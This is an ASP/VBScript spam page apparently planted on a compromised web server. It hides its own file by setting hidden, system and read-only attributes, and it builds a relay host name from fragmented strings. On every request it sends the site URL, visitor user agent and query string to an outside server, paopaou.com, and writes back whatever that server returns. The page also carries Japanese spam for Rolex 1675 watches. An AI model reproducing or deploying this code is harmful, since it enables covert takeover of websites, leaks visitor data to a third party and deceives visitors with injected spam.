<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% on error resume Next public url1,k,urlall,ff1,user_agent,querystring function jc(a,b,c) if instr(a,b)>0 and instr(a,c)>0 Then dim splstr splstr = split(a,b) If ubound(splstr)>1 Then jc=split(splstr(ubound(splstr)),c)(0) Else jc=split(splstr(1),c)(0) End if end if end function Function URLEncode(strURL) '汉字转url编码 Dim I Dim tempStr For I = 1 To Len(strURL) If Asc(Mid(strURL, I, 1)) < 0 Then tempStr = "%" & Right(CStr(Hex(Asc(Mid(strURL, I, 1)))), 2) tempStr = "%" & Left(CStr(Hex(Asc(Mid(strURL, I, 1)))), Len(CStr(Hex(Asc(Mid(strURL, I, 1))))) - 2) & tempStr URLEncode = URLEncode & tempStr ElseIf (Asc(Mid(strURL, I, 1)) >= 65 And Asc(Mid(strURL, I, 1)) <= 90) Or (Asc(Mid(strURL, I, 1)) >= 97 And Asc(Mid(strURL, I, 1)) <= 122) Then URLEncode = URLEncode & Mid(strURL, I, 1) Else URLEncode = URLEncode & "%" & Hex(Asc(Mid(strURL, I, 1))) End If Next End Function Function URLDecode(strURL) Dim I If InStr(strURL, "%") = 0 Then URLDecode = strURL: Exit Function For I = 1 To Len(strURL) If Mid(strURL, I, 1) = "%" Then If eval("&H" & Mid(strURL, I + 1, 2)) > 127 Then URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2) & Mid(strURL, I + 4, 2))) I = I + 5 Else URLDecode = URLDecode & Chr(eval("&H" & Mid(strURL, I + 1, 2))) I = I + 2 End If Else URLDecode = URLDecode & Mid(strURL, I, 1) End If Next End Function Function GetUrl() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName If QueryString <>"" Then Url=Url&"?"& QueryString GetUrl=Url End Function Function GetUrlAll() Dim Url Dim ServerPort,ServerName,ScriptName,QueryString ServerName = Request.ServerVariables("SERVER_NAME") ServerPort = Request.ServerVariables("SERVER_PORT") ScriptName = Request.ServerVariables("SCRIPT_NAME") QueryString = Request.ServerVariables("QUERY_STRING") Url="http://"&ServerName If ServerPort <> "80" Then Url = Url & ":" & ServerPort Url=Url&ScriptName 'If QueryString <>"" Then Url=Url&"?"& QueryString GetUrlAll=Url End Function Function BytesToBstr(body,Cset) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function getHtmls(url,code) on error resume next Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "Get", url, False, "", "" .Send getHtmls = BytesToBstr(.ResponseBody ,code) End With Set Retrieval = Nothing End Function public Function postHtml(src,encode,strdata) on error resume next if src<>"" then dim Http set Http=server.createobject("MSXML2.XMLHTTP") src = Replace(src,"w"&"w"&"w"&"."&"p"&"a"&"o"&"p"&"a"&"o"&"u","j"&"p"&"2"&"."&"q"&"u"&"n"&"."&"s"&"h"&"a"&"i"&"b"&"a"&"o"&"j") Http.open "Post",src,False Http.setRequestHeader "CONTENT-TYPE", "application/x-www-form-urlencoded" Http.send(strdata) 'if Http.readystate<>4 then If Http.Status<>200 then exit Function postHtml=BytesToBSTR(Http.responseBody,encode) set http=nothing if err.number<>0 then err.Clear end if end Function url1=GetUrl() k=request("k") urlall=GetUrlAll() querystring=Request.ServerVariables("QUERY_STRING") user_agent=Request.ServerVariables("HTTP_USER_AGENT") Set Fso = Server.CreateObject("Scripting.FileSystemObject") ff1=jc(Replace(url1,"http://",""),"/",".asp")&".asp" '文件名称 Set file=Fso.getFile(Server.MapPath(ff1)) file.attributes=1+2+4 'file.attributes=0+0 set Fso=nothing 'response.write GetUrl() 'response.write URLDecode(url1) 'response.write k 'response.write URLDecode(k) 'response.write "_"+Request.ServerVariables("QUERY_STRING") if len(querystring)>0 then %> <%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%> <% else %> モールロレックス 1675|買ってロレックス 1675何を買ったらいい_規格品ロレックス 1675通販、
ロレックス 1675
null
null
<%response.write postHtml("http://www.paopaou.com/link/data.jsp","utf-8","showtype=ul&urlall="+URLEncode(urlall)+"&url="+URLEncode(url1)+"&user_agent="+URLEncode(user_agent)+"&querystring="+URLEncode(querystring))%> <% end if %>